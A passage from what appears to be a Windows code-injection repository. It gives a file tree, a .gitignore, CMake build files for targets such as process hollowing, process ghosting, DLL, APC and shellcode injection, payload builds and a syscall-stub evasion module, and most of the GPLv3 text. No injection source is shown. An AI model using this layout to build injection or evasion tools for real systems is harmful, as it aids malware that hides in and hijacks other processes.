├── .gitignore ├── CMakeLists.txt ├── CMakeSettings.json ├── LICENSE ├── README.md ├── common └── ntddk.h ├── mitigation └── evasion │ └── copysyscallstub.cpp ├── payload ├── dll_payload.cpp ├── executable_payload.cpp └── shellcode.hpp ├── pe_injection ├── dll_injection │ ├── appcertdlls_injection.cpp │ ├── appinitdlls_injection.cpp │ ├── classic_dll_injection.cpp │ ├── knowndllscache_injection.cpp │ ├── setwindowshook_injection.cpp │ └── shim_injection.cpp ├── pe_inject.cpp ├── process_doppelganging.cpp ├── process_ghosting.cpp ├── process_hollowing.cpp └── transacted_hollowing.cpp └── shellcode_injection ├── atombombing_injection.cpp ├── classic_shellcode_injection.cpp ├── entrypoint_injection.cpp ├── ewmi_injection.cpp ├── ghostwriting_injection.cpp ├── kernelcallbacktable_injection.cpp ├── propagate_injection.cpp ├── queueapc_injection.cpp ├── section_injection.cpp ├── threadcontext_injection.cpp └── tlscallback_injection.cpp /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | #doxygen 3 | html/ 4 | latex/ 5 | 6 | # ---> C++ 7 | # Compiled Object files 8 | *.slo 9 | *.lo 10 | *.o 11 | *.obj 12 | 13 | # Precompiled Headers 14 | *.gch 15 | *.pch 16 | 17 | # Compiled Dynamic libraries 18 | *.so 19 | *.dylib 20 | *.dll 21 | 22 | # Fortran module files 23 | *.mod 24 | 25 | # Compiled Static libraries 26 | *.lai 27 | *.la 28 | *.a 29 | #*.lib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | 36 | # ---> VisualStudio 37 | ## Ignore Visual Studio temporary files, build results, and 38 | ## files generated by popular Visual Studio add-ons. 39 | 40 | # User-specific files 41 | *.suo 42 | *.user 43 | *.userosscache 44 | *.sln.docstates 45 | 46 | # User-specific files (MonoDevelop/Xamarin Studio) 47 | *.userprefs 48 | 49 | # Build results 50 | [Dd]ebug/ 51 | [Dd]ebugPublic/ 52 | [Rr]elease/ 53 | [Rr]eleases/ 54 | x64/ 55 | x86/ 56 | build/ 57 | out/ 58 | bld/ 59 | [Bb]in/ 60 | [Oo]bj/ 61 | 62 | # Visual Studio 2015 cache/options directory 63 | .vs/ 64 | # Uncomment if you have tasks that create the project's static files in wwwroot 65 | #wwwroot/ 66 | 67 | # MSTest test Results 68 | [Tt]est[Rr]esult*/ 69 | [Bb]uild[Ll]og.* 70 | 71 | # NUNIT 72 | *.VisualState.xml 73 | TestResult.xml 74 | 75 | # Build Results of an ATL Project 76 | [Dd]ebugPS/ 77 | [Rr]eleasePS/ 78 | dlldata.c 79 | 80 | # DNX 81 | project.lock.json 82 | artifacts/ 83 | 84 | *_i.c 85 | *_p.c 86 | *_i.h 87 | *.ilk 88 | *.meta 89 | *.obj 90 | *.pch 91 | *.pdb 92 | *.pgc 93 | *.pgd 94 | *.rsp 95 | *.sbr 96 | *.tlb 97 | *.tli 98 | *.tlh 99 | *.tmp 100 | *.tmp_proj 101 | *.log 102 | *.vspscc 103 | *.vssscc 104 | .builds 105 | *.pidb 106 | *.svclog 107 | *.scc 108 | 109 | # Chutzpah Test files 110 | _Chutzpah* 111 | 112 | # Visual C++ cache files 113 | ipch/ 114 | *.aps 115 | *.ncb 116 | *.opensdf 117 | *.sdf 118 | *.cachefile 119 | 120 | # Visual Studio profiler 121 | *.psess 122 | *.vsp 123 | *.vspx 124 | *.sap 125 | 126 | # TFS 2012 Local Workspace 127 | $tf/ 128 | 129 | # Guidance Automation Toolkit 130 | *.gpState 131 | 132 | # ReSharper is a .NET coding add-in 133 | _ReSharper*/ 134 | *.[Rr]e[Ss]harper 135 | *.DotSettings.user 136 | 137 | # JustCode is a .NET coding add-in 138 | .JustCode 139 | 140 | # TeamCity is a build add-in 141 | _TeamCity* 142 | 143 | # DotCover is a Code Coverage Tool 144 | *.dotCover 145 | 146 | # NCrunch 147 | _NCrunch_* 148 | .*crunch*.local.xml 149 | nCrunchTemp_* 150 | 151 | # MightyMoose 152 | *.mm.* 153 | AutoTest.Net/ 154 | 155 | # Web workbench (sass) 156 | .sass-cache/ 157 | 158 | # Installshield output folder 159 | [Ee]xpress/ 160 | 161 | # DocProject is a documentation generator add-in 162 | DocProject/buildhelp/ 163 | DocProject/Help/*.HxT 164 | DocProject/Help/*.HxC 165 | DocProject/Help/*.hhc 166 | DocProject/Help/*.hhk 167 | DocProject/Help/*.hhp 168 | DocProject/Help/Html2 169 | DocProject/Help/html 170 | 171 | # Click-Once directory 172 | publish/ 173 | 174 | # Publish Web Output 175 | *.[Pp]ublish.xml 176 | *.azurePubxml 177 | # TODO: Comment the next line if you want to checkin your web deploy settings 178 | # but database connection strings (with potential passwords) will be unencrypted 179 | *.pubxml 180 | *.publishproj 181 | 182 | # NuGet Packages 183 | *.nupkg 184 | # The packages folder can be ignored because of Package Restore 185 | **/packages/* 186 | # except build/, which is used as an MSBuild target. 187 | !**/packages/build/ 188 | # Uncomment if necessary however generally it will be regenerated when needed 189 | #!**/packages/repositories.config 190 | 191 | # Windows Azure Build Output 192 | csx/ 193 | *.build.csdef 194 | 195 | # Windows Store app package directory 196 | AppPackages/ 197 | 198 | # Visual Studio cache files 199 | # files ending in .cache can be ignored 200 | *.[Cc]ache 201 | # but keep track of directories ending in .cache 202 | !*.[Cc]ache/ 203 | 204 | # Others 205 | ClientBin/ 206 | [Ss]tyle[Cc]op.* 207 | ~$* 208 | *~ 209 | *.dbmdl 210 | *.dbproj.schemaview 211 | *.pfx 212 | *.publishsettings 213 | node_modules/ 214 | orleans.codegen.cs 215 | 216 | # RIA/Silverlight projects 217 | Generated_Code/ 218 | 219 | # Backup & report files from converting an old project file 220 | # to a newer Visual Studio version. Backup files are not needed, 221 | # because we have git ;-) 222 | _UpgradeReport_Files/ 223 | Backup*/ 224 | UpgradeLog*.XML 225 | UpgradeLog*.htm 226 | 227 | # SQL Server files 228 | *.mdf 229 | *.ldf 230 | 231 | # Business Intelligence projects 232 | *.rdl.data 233 | *.bim.layout 234 | *.bim_*.settings 235 | 236 | # Microsoft Fakes 237 | FakesAssemblies/ 238 | 239 | # Node.js Tools for Visual Studio 240 | .ntvs_analysis.dat 241 | 242 | # Visual Studio 6 build log 243 | *.plg 244 | 245 | # Visual Studio 6 workspace options file 246 | *.opt 247 | 248 | # Visual Studio LightSwitch build output 249 | **/*.HTMLClient/GeneratedArtifacts 250 | **/*.DesktopClient/GeneratedArtifacts 251 | **/*.DesktopClient/ModelManifest.xml 252 | **/*.Server/GeneratedArtifacts 253 | **/*.Server/ModelManifest.xml 254 | _Pvt_Extensions 255 | 256 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required (VERSION 3.4) 2 | project (code_injection) 3 | 4 | include_directories(common) 5 | 6 | # Mitigation 7 | file(GLOB_RECURSE COPYSYSCALLSTUB_MITIGATION LIST_DIRECTORIES true mitigation/evasion/copysyscallstub.cpp) 8 | add_executable(copysyscallstub_mitigation ${COPYSYSCALLSTUB_MITIGATION}) 9 | target_link_libraries(copysyscallstub_mitigation ntdll) 10 | 11 | # Payload 12 | file(GLOB_RECURSE DLL_PAYLOAD LIST_DIRECTORIES true payload/dll_payload.cpp) 13 | add_library(dll_payload SHARED ${DLL_PAYLOAD}) 14 | 15 | file(GLOB_RECURSE EXECUTABLE_PAYLOAD LIST_DIRECTORIES true payload/executable_payload.cpp) 16 | add_executable(executable_payload ${EXECUTABLE_PAYLOAD}) 17 | 18 | # PE Injection 19 | file(GLOB_RECURSE PE_INJECTION LIST_DIRECTORIES true pe_injection/pe_inject.cpp) 20 | add_executable(pe_injection ${PE_INJECTION}) 21 | 22 | file(GLOB_RECURSE PROCESS_HOLLOWING LIST_DIRECTORIES true pe_injection/process_hollowing.cpp) 23 | add_executable(process_hollowing ${PROCESS_HOLLOWING}) 24 | 25 | file(GLOB_RECURSE PROCESS_DOPPELGANGING LIST_DIRECTORIES true pe_injection/process_doppelganging.cpp) 26 | add_executable(process_doppelganging ${PROCESS_DOPPELGANGING} common/ntddk.h) 27 | target_link_libraries(process_doppelganging ntdll Userenv KtmW32) 28 | 29 | file(GLOB_RECURSE PROCESS_GHOSTING LIST_DIRECTORIES true pe_injection/process_ghosting.cpp) 30 | add_executable(process_ghosting ${PROCESS_GHOSTING} common/ntddk.h) 31 | target_link_libraries(process_ghosting ntdll Userenv KtmW32) 32 | 33 | file(GLOB_RECURSE TRANSACTED_HOLLOWING LIST_DIRECTORIES true pe_injection/transacted_hollowing.cpp) 34 | add_executable(transacted_hollowing ${TRANSACTED_HOLLOWING} common/ntddk.h) 35 | target_link_libraries(transacted_hollowing ntdll KtmW32) 36 | 37 | #DLL Injection 38 | file(GLOB_RECURSE CLASSIC_DLL_INJECTION LIST_DIRECTORIES true pe_injection/dll_injection/classic_dll_injection.cpp) 39 | add_executable(classic_dll_injection ${CLASSIC_DLL_INJECTION}) 40 | 41 | file(GLOB_RECURSE SETWINDOWHOOK_INJECTION LIST_DIRECTORIES true pe_injection/dll_injection/setwindowshook_injection.cpp) 42 | add_executable(setwindowhook_dll_injection ${SETWINDOWHOOK_INJECTION}) 43 | 44 | file(GLOB_RECURSE APPINITDLLS_INJECTION LIST_DIRECTORIES true pe_injection/dll_injection/appinitdlls_injection.cpp) 45 | add_executable(appinitdlls_dll_injection ${APPINITDLLS_INJECTION}) 46 | 47 | file(GLOB_RECURSE APPCERTDLLS_INJECTION LIST_DIRECTORIES true pe_injection/dll_injection/appcertdlls_injection.cpp) 48 | add_executable(appcertdlls_dll_injection ${APPCERTDLLS_INJECTION}) 49 | 50 | file(GLOB_RECURSE SHIM_INJECTION LIST_DIRECTORIES true pe_injection/dll_injection/shim_injection.cpp) 51 | add_executable(shim_dll_injection ${SHIM_INJECTION}) 52 | 53 | file(GLOB_RECURSE KNOWNDLLSCACHE_INJECTION LIST_DIRECTORIES true pe_injection/dll_injection/knowndllscache_injection.cpp) 54 | add_executable(knowndllscache_dll_injection ${KNOWNDLLSCACHE_INJECTION}) 55 | target_link_libraries(knowndllscache_dll_injection ntdll) 56 | 57 | # Shellcode Injection 58 | file(GLOB_RECURSE CLASSIC_SHELLCODE_INJECTION LIST_DIRECTORIES true shellcode_injection/shellcode.hpp shellcode_injection/classic_shellcode_injection.cpp) 59 | add_executable(classic_shellcode_injection ${CLASSIC_SHELLCODE_INJECTION}) 60 | 61 | file(GLOB_RECURSE ENTRYPOINT_INJECTION LIST_DIRECTORIES true shellcode_injection/shellcode.hpp shellcode_injection/entrypoint_injection.cpp) 62 | add_executable(entrypoint_injection ${ENTRYPOINT_INJECTION}) 63 | target_link_libraries(entrypoint_injection ntdll) 64 | 65 | file(GLOB_RECURSE QUEUEAPC_INJECTION LIST_DIRECTORIES true shellcode_injection/queueapc_injection.cpp) 66 | add_executable(queueapc_injection ${QUEUEAPC_INJECTION}) 67 | 68 | file(GLOB_RECURSE ATOMBOMBING_INJECTION LIST_DIRECTORIES true shellcode_injection/atombombing_injection.cpp) 69 | add_executable(atombombing_injection ${ATOMBOMBING_INJECTION}) 70 | 71 | file(GLOB_RECURSE THREADCONTEXT_INJECTION LIST_DIRECTORIES true shellcode_injection/threadcontext_injection.cpp) 72 | add_executable(threadcontext_injection ${THREADCONTEXT_INJECTION}) 73 | 74 | file(GLOB_RECURSE PROPAGATE_INJECTION LIST_DIRECTORIES true shellcode_injection/propagate_injection.cpp) 75 | add_executable(propagate_injection ${PROPAGATE_INJECTION}) 76 | 77 | file(GLOB_RECURSE EWMI_INJECTION LIST_DIRECTORIES true shellcode_injection/ewmi_injection.cpp) 78 | add_executable(ewmi_injection ${EWMI_INJECTION}) 79 | 80 | file(GLOB_RECURSE GHOSTWRITING_INJECTION LIST_DIRECTORIES true shellcode_injection/ghostwriting_injection.cpp) 81 | add_executable(ghostwriting_injection ${GHOSTWRITING_INJECTION}) 82 | 83 | file(GLOB_RECURSE KERNELCALLBACKTABLE_INJECTION LIST_DIRECTORIES true shellcode_injection/kernelcallbacktable_injection.cpp) 84 | add_executable(kernelcallbacktable_injection ${KERNELCALLBACKTABLE_INJECTION}) 85 | target_link_libraries(kernelcallbacktable_injection ntdll) 86 | 87 | file(GLOB_RECURSE TLSCALLBACK_INJECTION LIST_DIRECTORIES true shellcode_injection/tlscallback_injection.cpp) 88 | add_executable(tlscallback_injection ${TLSCALLBACK_INJECTION}) 89 | target_link_libraries(tlscallback_injection ntdll) 90 | 91 | file(GLOB_RECURSE SECTION_INJECTION LIST_DIRECTORIES true shellcode_injection/section_injection.cpp) 92 | add_executable(section_injection ${SECTION_INJECTION}) 93 | target_link_libraries(section_injection ntdll) -------------------------------------------------------------------------------- /CMakeSettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "configurations": [ 3 | { 4 | "name": "x64-Debug", 5 | "generator": "Ninja", 6 | "configurationType": "Debug", 7 | "inheritEnvironments": [ "msvc_x64_x64" ], 8 | "buildRoot": "${projectDir}\\out\\build\\${name}", 9 | "installRoot": "${projectDir}\\out\\install\\${name}", 10 | "cmakeCommandArgs": "", 11 | "buildCommandArgs": "", 12 | "ctestCommandArgs": "" 13 | }, 14 | { 15 | "name": "x86-Debug", 16 | "generator": "Ninja", 17 | "configurationType": "Debug", 18 | "buildRoot": "${projectDir}\\out\\build\\${name}", 19 | "installRoot": "${projectDir}\\out\\install\\${name}", 20 | "cmakeCommandArgs": "", 21 | "buildCommandArgs": "", 22 | "ctestCommandArgs": "", 23 | "inheritEnvironments": [ "msvc_x86" ], 24 | "variables": [] 25 | } 26 | ] 27 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If 